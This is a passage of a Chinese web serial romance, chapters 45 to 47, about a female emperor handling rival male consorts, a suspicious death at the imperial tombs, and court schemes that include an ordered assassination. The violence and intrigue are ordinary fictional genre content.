他亦是个心思深沉之人。就如眼前这番情形,那段过往他明明已经放下,可若能让凤帝心疼,他便选择沉默,不加安慰,任由她沉浸在自己的猜测之中。随后,他轻轻拥住她,轻声细语道:“能得陛下疼惜,经历那段过往,也算值得。” “你怎么会这么想?”裴源不知他的心思,只驳他荒谬言论:“朕疼惜你,是因朕心里本就在意你,与你有无那段过往并无甚关联。” 陆长行微微一笑,似未将这话当真,轻轻颔首低语:“臣知道了。” 他口中说着“知道了”,可眉眼间、神色里皆是掩不住的落寞。 裴源微微蹙眉,心中生愧。想了想,伸手捋顺他额间松散的碎发:“君后性情坚韧,从不是攀附他人的菟丝花,朕的关切在意,对君后而言不过是锦上添花。但君后对朕的意义不同。” 她言罢,执起他的手,轻声道:“有你在朕的左右,仿佛这循规蹈矩的日子,都变得蓬勃生机了。” 陆长行心头蓦地一震,可面上不显,只轻轻抬眸凝视着女子:“臣今日方知,原来陛下如此善说情话。” 裴源笑笑,语气中带着一丝无奈:“这帝王之位人人艳羡,朕却觉得枷锁满身,不能自己。你看,明明朕此刻说的是真心话,但到了君后耳中便成了敷衍;许多时候朕真的在敷衍,可落在诸君眼里,反成了真情眷宠。所以朕有时在想,情爱当真是世间最无趣的事。” 陆长行沉默不语。 他任由凤帝细细摸索着手腕,她的凤眸始终落在伤疤上,偶尔眉心微蹙,似依旧沉溺在心疼之中。最后,竟低下头轻轻吻着伤痕,仿佛在舔舐着他的伤痛。 男子修长的羽睫微微颤抖,柳叶眸底更溢出了一丝难以言说的情绪。 须臾,凤帝不舍起身:“夏至祭祀,朕约见了礼部尚书和司天监议事。君后可趁着午时休息一会儿,下午替朕教导一下制衣署的尚宫们。” 她说着比划了一下领口,吐槽道:“朕又不是庙里的姑子,整日穿的密不透风,像话吗” 陆长行起身时,眸光下意识瞥向她颈上的划痕,伤口并不深,仅留下一道浅浅的痕迹。可郭嘉安为她上药时的暧昧画面,却如刀刻般深烙进他的脑海。 嫉妒令他情绪躁动难安,只能紧紧攥住掌心克制内心澎湃。勉强平复心绪后,颔首垂眸,淡淡说道:“陛下放心,臣知道该怎么做。” 裴源满意的转身离去,直至明黄身影彻底消失在视线尽头。陆长行面上维持的平静瞬间崩塌,他猛地扯开领口,端起茶案上的凉茶壶高举过头,豪饮无度,试图熄灭心头汹涌的妒火。 可一壶凉茶见底,却丝毫未能浇灭他心中的烈焰。 即便知晓自己是在痴人说梦,可如何让一代帝王的心里只容得下他一人,已然成了他的执念。 是夜。 永安门前的宫灯远比朱雀门前昏暗,城楼之下的墙根,光线更加晦暗,准备踏出宫门前的郭嘉安突然回过身,张开大大的黑色斗篷,直接将猝不及防的凤帝拥入怀中。 裴源:“……” 裴源挣了两下未果,气闷道:“既然不想出宫,那就留在揽月楼里照看你的牡丹吧。” 郭嘉安嘿笑一声,松了对女子的桎梏,退身道:“陛下可有喜欢的物什儿?臣买回来给陛下把玩。” 裴源认真想了想:“猛男!又健壮又俊俏、孔武有力、身姿矫健,能将朕打横抱起绕着皇城转一圈,且脸不红气不喘的猛男!朕若得之,必欣喜至极,爱不释手。” 郭嘉安笑容凝在脸上,冷道:“世间没有这样的男子!” 裴源正色道:“如何没有?朕前日、前前日都梦到了,你若用心,必能寻到。”她言此,拍了拍他的肩膀:“加油,朕看好你哦。” 郭嘉安:“……” 寻个屁?她继续做梦去吧! 郭嘉安愤愤拂袖而去,不过片刻,便消失在了夜幕里。 裴源这才抬脚踹了下身侧之人:“笑笑笑,有什么好笑的?” 陆萧玉未躲,被踹后身子打了个趔趄,站定后笑道:“世间男子以阴柔为荣,以魁梧为耻,陛下刚刚之言,分明是在打趣宸贵君。” 裴源微微蹙眉:“如此?那朕就改变一下我朝的对男子的审美。”她一本正经道:“传下去,当今凤帝酷爱猛男而不得,日日愁苦,夜不能寐。” 陆萧玉嘴角微抽:“陛下认真的?” 裴源转过身奔着寝殿方向行进,边走边道:“认真。等风声传出去后,朕给你银子,你到民间开几家只允男子进入的健身房,一定能赚个盆满钵满,届时你我二八分账,朕虽不能抱得猛男归,但多抱些银子也是好的。哈哈哈~” 陆萧玉:“……” 阴谋,全是阴谋。 郭嘉安出宫的第三日,宣政殿突然收到了祖陵宗室子女离奇死于高祖陵前的奏本。 死者名为裴若淑,是裴源六皇姨母的长女。六皇姨母奉皇命看守皇陵已有数年,从来并未发生过意外。此次夏至祭祀,敬告天地之余,亦要祭奠高祖。 裴若淑就是此次祭祖的主理人,入陵奉香时迟迟未出,随侍察觉不妙匆匆入陵,结果发现裴若淑七窍流血,暴毙而亡。且尸体呈跪拜状朝向地宫门,表情诡异,不知拜的是哪位祖宗。 六皇姨母年事已高,听闻此事,悲痛欲绝,认定此乃奸人作乱,谋害裴若淑不过是幌子,真正的目的是挑衅皇权。故而上奏一本,恳请凤帝为她讨个公道。 裴源匆匆扫过奏本,无论是六皇姨母,还是裴若淑,她皆不甚了解。纵然一脸懵逼,但身体已本能的做出反应,怒摔奏本,愤然起身:“此次敢对宗室子女下手,下次难保不会在朕的寝宫下毒!给朕彻查!朕倒要看看,何人如此胆大包天,竟敢挑衅皇权!” 散朝后,凤帝登上御撵,扶额作痛,乌宛白急忙问道:“陛下可是头疾复发?” 裴源轻轻摆手:“无妨,方才喊得太大声,有些头晕罢了。” 乌宛白:“……” 乌宛白一时无语,裴源见她神色,一时忍不住追问:“朕动辄发怒,众臣会不会以为朕脑子不好?” 乌宛白一时语塞,片刻后 讪讪一笑:“陛下不必忧思,如何承接圣怒那是朝臣的事儿。您是天下之主,只要一心为国为民,便是明君。明君嘛,有点小脾气、小秉性都是正常的。不打紧,不打紧。” 裴源听后,凤眸微微一亮,似是颇为受用:“这话甚得朕心,赏。” 乌宛白连忙打了个千儿:“谢陛下。” 话音刚落,一道冷漠的声音忽而打破主仆间短暂的和谐。 “陛下!” 裴源神色微凝,抬眼望去,本该闭门思过的庄与之,竟大步流星、气势汹汹的向她走来。 “陛下前些时日分别放了君后、文侧君出宫,昨日又放宸贵君外出,臣亦是陛下后君,陛下不该厚此薄彼!”他言罢跪地,挺直脊背,朗声道:“臣亦想出宫,望陛下允准!” 凤眸骤然凌冽,凤帝的语气冷若冰霜,居高临下道:“一派胡言!朕看德君是睡懵了头,思绪还留在梦中,否则怎会说出这般无稽之谈,梦呓之语?” 庄与之漠然抬首,丹凤眼与凤帝死死相对:“陛下自惊蛰后性情大变,臣揣度您似又记忆有失,故而待臣冷漠,失了分寸!臣不介意提醒陛下……” 他未尽的话,被清冽之音骤然打断,不远处,君后迈着四方步飒踏而来:“本宫看失了分寸之人是德君你!” 第45章 第45章晋江文学城 夏至至,树木葱葱,遮风避日,好不清凉。 御撵缓缓落下,乌宛白一拂浮尘,携众宫侍退到远处,留下对峙的帝君三人。 随着陆长行的临近,庄与之早已径自起身,丹凤眸无比凛冽:“臣倒是不明白了,这宫门,君后、贵君出得,侧君也出得,偏到了臣这正君这儿,便是死路!哪有这样的道理?” 陆长行冷冷地扫了庄与之一眼:“德君的消息素来灵通,本宫早已领教。这后宫之中,德君的势力盘根错节,手眼通天,却始终无法触及宫门之外的天地。这足以说明,德君的能力终究有限。缘何怪的着陛下?” 庄与之丹凤眼愈发锐利,他胸膛起伏,微微仰起下巴,一副破罐子破摔的模样:“臣确实不该怪陛下,臣该怪君后、怪贵君、怪文侧君!你们一个个狐媚惑主,做小伏低,用尽手段勾引陛下,让陛下被你们迷惑得失了心智,一次次无视宫规、无视祖制,做事毫无分寸!” 陆长行怒呵:“放肆!” 庄与之眸色更冷,目光如利刃般直视陆长行,语气中带着几分傲然和不屑:“臣父乃前朝君后之子,身份高贵,何惧放肆?” “前朝君后?”陆长行怒极反笑,声音低沉有力,仿佛每一个字都透着寒意:“先前太女裴巧结党营私,触怒先帝,因而被废除太女之身。常氏君后教女无方,更被查到谋害后君、皇嗣,为先帝不容,因而被先帝褫夺封号,降为庶人。念及他生儿育女之功,得以回归本家,常氏不堪其辱,自缢而亡。此事天下皆知。一介庶人,竟还成了德君炫耀的资本,真是可笑至极!” 庄与之一时语塞,只恶狠狠盯着陆长行一脸不甘! “既然禁足未让你吃住教训,本宫干脆予你个恩典也无妨,省得你每日歇斯底里,失了后君的风度!” 陆长行上前一步,目光如剑般直刺庄与之:“你想出宫不是?本宫准了!” 庄与之一愣,脸上露出忌惮之色:“什么意思?” 陆长行冷笑一声,语气中带着几分嘲讽:“怎么?出宫不是德君心愿吗?本宫如今准了,你又怕了?” 庄与之更加不解,下意识看向静坐在石桌旁的凤帝。凤帝单手托腮,眸光涣散,仿佛沉浸在自己的思绪里,对两人的争吵恍若未闻。 陆长行见势又道:“本宫为后宫之主,自有权掌控后宫诸事。来人!” 解安匆匆而来,陆长行下令道:“送德君出宫!” 庄与之满眼震惊,甚至是不可置信:“你真要送我出宫?” 陆长行微微一笑,笑容里却透着冷意:“正是。德君既心系宫外,本宫便成全你。只是德君今日这般声势浩大,想必这出宫之事很快就会在京城传开。庄司礼与长殿下能养育出如此跋扈、不敬皇权、仗着出身肆意妄为的儿子,恐会遭全城百姓嘲笑。但这与德君无关,如何应对是庄司礼与长殿下的事儿。德君只管我行我素,不必担忧。” 庄与之的脸色瞬间变得苍白:“你……” 陆长行打断他的话,语气决绝:“无需多言,解安,速办此事。” 庄与之脸色难看至极,愤愤看了陆长行良久,转身拂袖而去。 嘈杂顿散,周遭只剩平静,微风拂过树冠簌簌作响,陆长行也已缓步行至了凤帝面前,顺手将藏在她发中的落叶捏出,置在石案上。 “德君刚刚说……”裴源也已回过神,抬眸一脸疑惑道:“朕‘又’记忆有失?难道,朕之前也失去过记忆吗?” 陆长行立于她身前,凤帝仰首,他居高临下的俯视中,女子的面容显得清丽无俦。琼鼻挺直,朱唇诱人。他心底忽而生出几分冲动,欲抬手挑起她的下巴,后用拇指轻抚她的唇瓣,触感定然柔软。可他终究强忍心头躁动,反而屈膝蹲至她的身前,收敛起方才与庄与之对峙时的冷冽气势,转而变得温润如玉。 “陛下脑中所植蛊虫躁动时,时而会令陛下头疾发作,时而会令陛下遗忘往昔,这是必然的影响。陛下素来聪慧绝伦,又善疑多察,过往每一次在记忆尽失前,皆能逢凶化吉、转危为安。臣信,此次亦然。陛下无需忧惧。” 裴源微微蹙眉,心中思绪如潮,目光中隐隐闪过不安。 难怪身边人察觉到她与原主有所不同,却毫无半点怀疑,竟是这个缘故。 可这次,情形大不相同啊。 她是她,原主是原主。若有人察觉凤帝换了‘芯子’,她还能有好果子吃吗? 如今庄与之已然察觉,还在御花园大放厥词,这消息若传出去,只怕很快就会闹得满城风雨。 裴源第一次有了强烈的危机感,她看向陆长行,试探道:“若朕一直想不起往昔记忆,又该如何?” 陆长行似察觉到女子的不安,安抚她道:“陛下就是陛下,即便记忆有失,您依旧是天下之主。倘若真有人活腻了,敢以此威胁陛下,那此人便是扰乱朝局的乱臣贼子—— 陆长行轻轻握住她垂放的手,指尖微微用力捏了捏她的掌心,似在给予她力量:“斩之,以断流言,以慑诸臣!” 裴源紧蹙的眉头并未舒展,相反,凭添了一丝愁容:“下朝时还不觉得,这会儿,莫名觉得这心里有些慌乱,仿佛要有大事发生。” 陆长行眉宇微沉,竟不知庄与之随口之言,害的她如此惶恐。于是向她俯身靠近,柳叶眸光明亮而坚定,语气更透着不容置疑的坚定:“陛下头疾已是沉疴旧症,朝臣无有不知。臣可以性命担保,不敢有人以此威胁陛下!” 他默了默,观察着凤帝的反应,见其脸色依旧沉郁,只得又道:“陛下对皇陵遇害的裴若淑,可有印象?” 裴源眸色微微凝实,如实道:“全然不知,今日之前,朕甚至都不记得有此人存在。” 陆长行点点头,循循善诱道:“太祖在世时,曾深爱一位后君,甚至想亲封此人为君后,荣宠加身。奈何此人身份低微,家族势弱,更遭后宫诸君家族打压。太祖得闻此事凤颜大怒,为给心爱之人撑腰,太祖做了一件事。” 裴源静静看着他,陆长行直言又道:“太祖扶持了那位后君的家族,一路从名不经传的小门小户,亲扶至荣耀尊崇的三公之列。但,那时太祖已至暮年,为免新帝制裁她亲扶之人,于是,将那家族之中才情绝佳的嫡公子,赐给了当时还是太女的先帝,为太女夫。也就是先前君后常蕴藉、庄与之的外祖公。” 裴源凤眸圆瞪,脑海里飞速运转,理顺着人物关系。良久,问他:“可这与裴若淑有何关联?” 陆长行耐下性子继续道:“裴若淑之母裴和颂,为太祖的第六女,此人正是当 年那位得宠的后君常氏所生。那时常氏已位于凰贵君之位,但依旧宠冠六宫,甚至在后宫权势之大,盖过了君后的锋芒,因而,惹来了诸君不满。生产当日,太祖莫名病重不醒,诸君便相约一同闯入了凰贵君的寝宫,对未服麻药的凰贵君直接剖腹取女,因下手过于狠辣,竟削断了腹中婴孩的双腿腿筋,后更不准人缝合凰贵君产口,冷眼看着凰贵君流血不止,惨痛而亡。 太祖醒后,悲痛不已,本欲严惩罪魁祸首,奈何诸君都有参与,亦遭前朝诸臣讨伐,此事只得不了了之。裴和颂自幼不能站立,自与凤位无缘,却受尽荣宠长大,因而不可一世。封卿后出宫立府,变本加厉,欺女霸男,无恶不作。太祖却总觉对她亏欠,放纵其行,致使其跋扈无制。为保她永世安稳,太祖还在驾崩前立下遗诏,无论谁为继任者都不得苛待、斩杀裴和颂。于是,先帝继位后,只能命她镇守皇陵,无召,不得入京。” 裴源听到此处,目瞪口呆,良久才喃喃低语:“太祖竟还是个痴情人?”她蹙眉又道:“痴情不是错,独宠也不是错,可她无视自身身份,宠一人而冷落六宫而不顾,更任心爱之人恃宠而骄,四处祸乱,则是大错特错!” 陆长行嘴角轻扬,眸底却是冷若冰霜:“陛下所言,对,也不对。” 他见裴源不解,回道:“太祖乃我朝开国凤主,那是乱世中崛起的枭雄,曾携百万流民军一路厮杀入京,将前朝昏君头颅斩于矛下,登基后更以雷霆手段震慑诸臣。如此人物,为心所为,不顾世俗所限,恰是她的本性。” 裴源了然:“她是一代名将,亦是一代明帝。自信的以为坐上至尊高位,就可以掌控一切,压根未将软弱的诸君、朝臣放在眼里。却不知,后宫无声的争斗、宣政殿上硝烟,远比她策马挥矛的战场,要险峻多了。能让诸君枉顾生死,也要合力诛杀之人,可以想见那凰贵君性情如何不堪。如此,还能得皇祖母独宠,也是他的本事。” 她摩挲着黑玉扳指,缓缓又道:“以皇祖母之能,想要扶持一个常家轻而易举,却不考虑这泼天的富贵,常家能不能接得住。” “陛下圣明。”陆长行仰头看她渐渐安定的神色,方才低头伏在她的膝上说:“陛下前几日处罚一个姓常的尚宫,可还记得?” 第46章 第46章晋江文学城 裴源记忆力也算不俗,听他提及,马上脱口而出:“常傲玉,仗着德君的势,欺凌弱小,调戏宫侍,被乌宛白罚去肃刑司刷恭桶了!” 她默了默,脑海里将这几个常家之人所做之事在脑海里过了一遭,冷道:“常氏这低劣的血脉还真是一脉相成,后君恃宠而骄、王卿无恶不作,如今朝堂已无常家立足之地了,竟还能混入后宫嚣张。刷恭桶都是便宜她了。” 陆长行伏在女子的膝上,裴源看不到他的神色,只听他声音透着阴沉:“凡嚣张跋扈之辈,皆仗其身后靠山,肆意妄为。” 裴源静默须臾,轻抚着陆长行的发丝:“朕说了,如何料理后宫你说了算,朕不会干涉。若是处理不周,朕替你善后便是。” 陆长行这才缓缓抬首,看着女子道:“庄与之性情急躁,一点即燃,然其心性简单,毫无城府。与其料理,不妨设计为我所用?” 裴源微微蹙眉,沉吟片刻,轻声道:“人的性情多受家风浸染。他这般热衷于打探各宫动静,想必是耳濡目染。想来这长殿下的府邸必是风过留痕、草过留影之地,他自幼见得多了,听的多了,变成了习惯。而今深宫锁步,难掩窥探之欲,便默默发展人手,窥视各宫。” 裴源言此,没来由笑出了声:“这个庄与之,竟还是个妙人儿。” 陆长行听闻此言,眉梢微微一挑,心中陡然升起一股无名妒火,也不多想,便急匆匆起身,可蹲得久了,气血一时下沉,眼前骤然一黑,只觉天旋地转,身体不受控制地向前倾去,直直栽入了凤帝的怀中。 裴源猝不及防,下意识地伸手去扶,奈何石凳无靠,两人重心不稳,竟一同跌倒在地。凸起的石子路透过轻薄的衣衫,直抵肌肤,硌得女子痛彻心扉,几乎瞬间便渗出了一层细密的冷汗。好在陆长行下意识伸手托住了她的后脑,才未让她头部着地。 “陛下!” 乌宛白听到惨叫几乎瞬间冲了出来,救驾二字尚来不及出口,瞧见石案下相拥的二人,急忙掩面退回了暗处。 疼痛过后,帝后四目相对,咫尺之间,呼吸可闻,周遭的一切仿佛都静了下来。陆长行在上俯视着她的眉眼,分明漆黑的瞳孔,此刻在阳光照映下泛出淡淡的棕色光芒,冷白的肌肤显得愈发细腻,连平日里不易察觉的绒毛都清晰可见,好似一颗刚刚成熟的桃子,惹人采撷。 念此,漆黑的羽睫似被风拂动的羽毛,轻颤间透出几分犹豫。可还是缓缓低下了头,动作轻柔的,像怕惊扰了平静的水面一般,缓缓却精准的落于她的唇瓣上。 与裴源霸道的吻截然不同,陆长行的吻恰似春日初绽的花儿,温柔细腻,带着几分小心翼翼轻轻触碰,仿佛是在亲吻一件稀世珍宝。 彼时,夏风轻抚过垂柳,柳枝在风中无力地摇曳,柳叶划过地面,留下了毫无章法的图案,却又倾注了无尽的温柔。 随着气息渐重,吻也愈发深入,周围的空气似都炙热起来。裴源一时竟分不清,那是夏风带来的燥热,还是起伏的心激发出的火热。 久久,吻分。 陆长行侧枕在青石路面,下巴却垫在了她的肩头:“庄与之是妙人,那臣是什么?不妙人?” 他的呼吸微重,灼热气息打在裴源的脖颈上,身体条件反射般的一颤。裴源缓了一下悸动的情绪,无奈道:“这也能酸到你?朕干脆赐你一个封号为醋精好了,让后世的子民取笑取笑你。” 陆长行嘴角微扬,不甚在意的反将女子捞到自己的身上,任她枕在自己的胸膛,而后望着湛蓝的天道:“陛下胸怀宽广,里面住满了人,臣找不到自己的位置,唯有尽力而为,不负陛下所托,方得一隅之地。” 裴源倾听着他的心跳,闻言冷哼一声:“没良心的。”她恢复了些精神,便也不在纠结情爱,从他身上坐起后,反手拉他起身:“若皇舅府中真藏着消息脉络,便要常放庄与之出宫。可这出宫的理由必须正当,否则,适得其反。” 陆长行为她理顺着凌乱的发丝,淡淡回道:“陛下之前不是让臣琢磨一个后君的考核制度吗?如何做,臣已心中有数,届时,陛下只需按照约定,予诸君恩典即可。” 裴源不禁好奇:“什么制度?说来听听。” 陆长行含糊道:“儿郎家的小心思而已。” 裴源并不强求,又道:“放他出宫后,身边也要跟个自己的人才算圆满。” 陆长行颔首道:“陛下不必忧虑,庄与之身边的申敬,早已被臣收买。” “哦呦~”裴源笑颜尽显:“朕的君后不得了哦~事无遗漏,面面俱到。该赏!”她拍着他的肩膀:“想要什么恩典,与朕说说,能力之内,无所不应。” 陆长行抬眸凝着她的脸:“帝王一诺,重如千钧,陛下说出的话,可要作数才行。” 裴源理所当然:“自然!朕还能骗你不成?说罢,想要什么?” 陆长行斩钉截铁道:“臣所求不多,陛下的偏爱与偏宠足矣。” 裴源:“……” 裴源笑容凝在脸上,片刻后启唇:“别闹,好好说。” “臣没闹。”陆长行正色道:“陛下若觉为难,可二取其一,要么独得圣眷,要么恩宠专房,陛下考虑好了,予臣答复即可。栖梧宫还有事务等臣,臣先行告退。” 说罢,微一福礼,转身而去。 裴源愣了几息,忽而对他的背影大喊:“哪里的二选一?这两者有本质区别吗,大哥?” 陆长行闻言,未有半分停顿,反而迈步 走的更快,不过数息就没了踪影。 “不像话!” 耳边忽而响起人言,惊的裴源全身一抖,她下意识转身看向了来人。就见周天韵眯着眼啧啧道:“堂堂君后,竟有专宠的想法。实在是不像话。如此善妒,放在民间,也够七出之条了。” 裴源愣了半晌:“不是?你何时过来的?” 周天韵指了指石子路:“二位躺地上那会儿,臣就来了啊。只是陛下太过专注,所以无视臣的出现而已。”她言此,屈身上前,一脸奸笑:“陛下平日看着不苟言笑,威风凌然,没想到喜欢在下面哦?果然人不可貌相。” 裴源:“……” 爹的,智障! 裴源怒不可遏,照着她屁股就来了一脚:“你想死,朕可以成全你!” 周天韵身子打了个晃儿,定身后见凤帝一脸怒气拂袖而去,赶忙嬉皮笑脸的跟了上去:“陛下息怒,臣没有取笑您的意思,就是吃惊,吃惊而已。” 裴源毫不客气的又来了一脚:“朕看你的九族是不想要了!” 周天韵忙做了一个噤声的动作,而后踱步至她的面前,掏出一本册子躬身双手恭敬的举过头顶:“请陛下翻阅。” 裴源冷哼一声,一把抽过文书重新落坐在树荫下慢慢翻阅起来。 周天韵再不敢造次,垂首而立,静默于侧,偶尔抬眸偷觑凤帝一眼。女子时而蹙眉紧缩,时而面色阴沉,通读之后,静坐无言,只轻轻摩挲着黑玉扳指,似在斟酌权衡。良久,才缓缓叩击石案三声,冷然道:“杀了她。” 周天韵身子一震,旋即脸色凝重,拱手道:“陛下,艾晓曼涉及青云湖改道一事,虽有南陵被斩官员供词,然臣未寻得实证,亦有可能是其胡乱攀扯,欲构陷他人。还望陛下三思。” 裴源冷哼一声,语气如冰:“青云湖水流湍急,情势险峻,改道必是浩大工程。你以为仅凭南陵郡那些差役、戍城兵,便能轻易改道成功?必有当地军事势力暗中掩护协助!淹没了六个县,朝廷损失了百万两银子,身为节度使,即便未曾涉事其中,亦有监察失职之过!” 周天韵眉宇紧蹙,凤帝所言亦有道理,可她总觉得无凭证暗杀官员之举,颇为不妥,故而沉默不语。 裴源起身,负手而立:“说来也巧,傅泽惠死前白书,亦提及河水改道之事。虽非青云湖,但那条河流的汹涌,与青云湖的湍急不相上下。那次奉的是皇命,工部官员为贪墨银两,敷衍了事,一场暴雨便将豆腐渣工程冲毁。致使洪灾淹没良田,事后还引发了瘟疫,死伤无数。母皇为此自责不已,从此再不敢轻易兴修水利。此事距今已二十年,再加上文渊阁那场大火……” 裴源重重深吸一口气,缓缓道:“过于巧合,更似有人暗中布局,欲引朕走母皇的老路。” 周天韵抬眸看向凤帝,略一思量,沉声道:“若真有此人,必是心机深沉之辈,绝不会轻易现身,更不会涉身乱局,只会暗中推棋子……”她话音一顿,似是想明白了什么,眼中闪过一丝精光。 裴源目光微动,微微颔首,赞赏之意溢于言表:“艾晓曼便是废棋一颗。此女朕不杀,亦活不久矣。你明白该如何做了?” 周天韵拱手,语气坚定:“臣即刻出发,争取在她死前,拿到供词!” 裴源点了点头:“皇陵事变,朕已命三司彻查,刑部近来必人手不足。你这个外放的刑部郎中,也该回京述职了。所以这后宫,往后你便不必回了。” 凤帝言罢,轻轻拍了拍她的肩,语气中带着几分关切:“朕的韵侧君突然身染恶疾,朕闻之痛心疾首,即日起,静思轩紧闭宫门,愿韵侧君能安心静养,早日康复。” 周天韵挠了挠头:“真是个不幸的消息。” 裴源长叹一声:“人皆是血肉之躯,生病亦是常事。爱君莫要过于忧心,毕竟病痛无情,人有情。朕会等你康复归来,届时再招君伴驾,恩爱缠绵。” 周天韵嘿嘿一笑:“那敢问陛下,届时予臣偏爱还是偏宠呢?臣没君后那么贪心,不用独得圣眷、恩宠专房,一个月召臣二十九天就行,臣给陛下留一日独处时间。” 裴源:“……” 裴源毫不留情的再次抬起了脚:“朕看你是想上天!” 第47章 第47章晋江文学城 是夜,无月,傍晚风势渐起,宫灯摇曳,人影在青石板上来回摇晃。 铜钱在龟壳里发出燥响声,哗的一下,铜币撒的到处都是。 白尔打了个哈欠,泪眼婆娑间,似瞧见了一个明黄的身影,他以为自己花了眼,揉了揉眼里的水花,起身不耐道:“主子,夜深了,东西给你收了哦。” 淑君西门眙眸色幽深的看着卦象,忙抬手制止:“阴盛之卦,时来运转。陛下今日必会登门。” 白尔:“……” 白尔无奈扶额,本想劝主子不要再做春秋大梦了,猛然想起如今已入夏,故而话锋一转:“那臣先去主子备下热水。” 西门眙摆摆手:“去吧去吧。” 白尔躬身退下,甫一转身,差些与凤帝撞了满怀,他止步不可置信的抬首,恰与凤眸四目相对,愣怔之余便要下跪请安,却被凤帝抬手止住。 白尔心领神会,退出房门前,还不忘召走了屋中的宫人。 云梦楼风格迥异于其他后君宫殿,红木桌案上竹简堆叠,墙上悬挂祭祀画卷,房中陈列尽是青铜礼器等器物。 窗前松柏青翠,松香与檀香交织,平添庄重神秘之感。 裴源缓步踱至案前,目光掠过摊开的竹简,上面写晦涩难懂的术法文字。她凝神看了片刻,没怎么看懂,于是悄然行至西门眙的身后,见他眉间微蹙,目光凝着案上几枚散落的铜钱。 对于凤帝的到来,西门眙恍若未察,甚至在稍顷后抬头望向窗外,喃喃低语:“等待的时间不会太短才对,怎么还没动静?” 裴源看着六枚铜钱,不禁心生好奇:“怎么看出来的?” 西门眙轻声道:“坤卦代表女,色黄,应西南紫宸殿。卦象大吉,静候即可,所念之人,必至无疑……” 话音未落,西门眙一怔,猛地回头,瞧见来人瞬间喜色满面:“陛下!” 他正欲起身行礼,却被裴源按住肩头:“无需多礼,”她指着卦象道:“那,你可能看出朕此番前来的目的?” 西门眙愣怔片刻,转而看向桌案上的铜币,试探道:“陛下寻臣,莫非是要臣的帮助?” 裴源眉头微挑,说道:“这也能看出来?” 西门眙指着卦象道:“坤卦的卦辞为:君子有攸往,先迷后得主,说明陛下初来时,内心是不确定的,但来见了臣后,不知为何又改变了主意,想从臣的身上获得某种支持或帮助。” 西门眙言此,随手拾起三枚铜钱,随意抛出,待其落地后微微蹙眉,沉吟道:“初六爻变,履霜,坚冰至。此乃水地比卦……” 西门眙念此,脸颊顿时泛起一丝红晕,低声应道:“臣愿意。” 裴源抬眼,眼中满是困惑:“愿意什么?朕分明什么都还没说呢?” 西门眙的脸色愈发红润,他低头轻声嘀咕道:“比卦乃亲密和顺之象,岂不暗示陛下今夜欲召臣侍寝?臣身为陛下之君,自当尽心侍奉。” 裴源:“……” 裴源眼见少年神色越来越羞赧,甚至打算近身上前,急忙摆手道:“什么乱七八糟的!亲密之事一定局限于床笫之间吗?你心中就没有更宏大的志向?” 西门眙一愣,抬头看她,一脸迟疑:“臣身为后君,侍奉陛下便是天职。除此之外,臣还能做些什么?”他沉默片刻,目光落在方台上摆放的各类器具上,试探着问道:“莫非……陛下欲再探一次生命的奥义?” 裴源:“……” “非也~”裴源正色道:“朕寻你,为的是携手共进,谋定大业,振兴我朝河山。” 西门眙眨眨眼,缓缓开口:“陛下,您是醉了吗?” 裴源忙扶他重新入座,而后正色道:“你说得不错,朕来时的确心存犹豫,不知寻你是否得当。如今看来,此事非你不可。只是朕此行仓促,尚未做好万全准备。你且稍候两日。” 她言此,拍了拍他的肩膀:“早些休息,两日后,朕再寻你详谈细节。” 西门眙:??? 凤帝来也匆匆,去也匆匆,白尔似早已预料结果一般,死气沉沉的入了内殿:“不是奴才说您,陛下好不容易来一次,您就不能做点后君应该做的事吗?您看,又把陛下吓走了!” 西门眙眉头紧蹙,百思不得其解:“本宫邀请陛下了,想要与她共度良宵。可陛下说……要与本宫共谋大业。” “大业?与您谋的着吗?”白尔收拾着方台上的破烂,无奈道:“主子也不必为了面子诓骗奴才,您整日不是摇龟壳,就是敲铜拔,什么大业能用得上您?难不成让您当着全天下百姓的面,敲你这些破铜烂铁?共同体悟生命的奥义?届时,百姓不把你当成妖怪烧了才怪呢!” 说话间,白尔无意间叩响铜钵,清脆悦耳的声响萦绕殿中时,西门眙紧缩的眉头慢慢舒展,下意识看向白尔手里的器物陷入深思。 彼时,太学府静谧无声,唯有思贤阁内灯火通明。忽而,一阵疾风涌入,压弯了燃烧的烛火,几愈熄灭。棋盘一侧端坐的男子耳尖一动,下意识撇了眼透过屏风的人影,纤细而绰约,是个女子无疑。 火苗再次挺立时,他已起身没入黑暗之中。 傅逸春刚将黑子棋盒放置手边,女子已踱入屏风之内,四目相对,问:“夜深,陛下怎么来了?” 凤帝行至他的面前,看了眼棋局后,随手从他手边端了一盒黑色棋子后坐下:“自己和自己下棋?不觉得很枯燥吗?” 傅逸春不动声色的捻起白子:“臣身为大儒,才学之上,棋艺也不能落后,否则露了破绽可如何是好?” 裴源闻言,偷偷打量着他的眉眼,见其眼中并无不满,才打趣道:“爱君辛苦了,若觉疲惫,不妨借游历之名,外出游山玩水,不必忧心银两与安危,朕必妥善安置,爱君只管尽兴。” 傅逸春挑眉,淡淡道:“天上掉馅饼的好事,臣从未遇过。臣只知,欲得其利,必先为之劳。陛下深夜前来,必有所图,还望直言。” 裴源笑意慢慢收敛,道:“爱君也不要把朕想的这么世俗,你辛苦呢,朕是知道的。所以,愈寻个帮手给爱君。” 傅逸春静默须臾,靠着椅背,缓缓环起手臂,而后一言不发的看着她。 裴源被他盯的心虚,于是摸了摸鼻子:“欲得民心,其一,需使百姓丰衣足食;其二,需立精神领袖凝聚人心;其三,需筑信仰根基,使万民归心。” 傅逸春稍作思量:“朝局已稳,岁稔年丰;又有诗仙下凡,凝聚万民之心;如今只差一个信仰了。”他看向裴源:“看来陛下已有人选。” “爱君聪慧。”裴源问他:“淑君,西门,爱君以为如何?” “西门眙?”傅逸春轻捻棋子,沉吟良久,微微颔首:“太常寺卿之子,善卜卦,通术法,又爱捣鼓奇奇怪怪的法事器物,是个妙趣之人。” 傅逸春默然片刻,不禁反问:“可太常寺卿尚在朝堂,陛下若启用其子,难道不顾虑其父家尚在,外戚干政,惹出祸端吗?” 裴源微微一愣,视线从棋局抬望向他的眉眼,久久方道:“原来傅侍君以为朕启用你?是因为你无父家傍身?” 傅逸春不置可否。 裴源似不以为意,棋子轻落,淡然道:“在朕眼中,并无男女、身份之别。无论前朝后宫,只要入了朕的眼,觉得可靠,朕便愿意一试。至于这个人有无家族势力?”她轻嗤一声道:“若朕连后宫诸君都掌控不了,畏首畏尾,又何谈稳控朝局,坐稳凤位?” 裴源静默两息,又道:“朕用人,首观其性,次察其才。你性情独立,心有主见,既怀一技之长,又抱独到之好,最主要是与朕德性相符、理念契合,这便是朕信你之因。至于西门眙……他性子清简,痴迷于玄妙术法,思想飘忽,玄之又玄,如此特别有趣之人,关在深宫,实在可惜。” 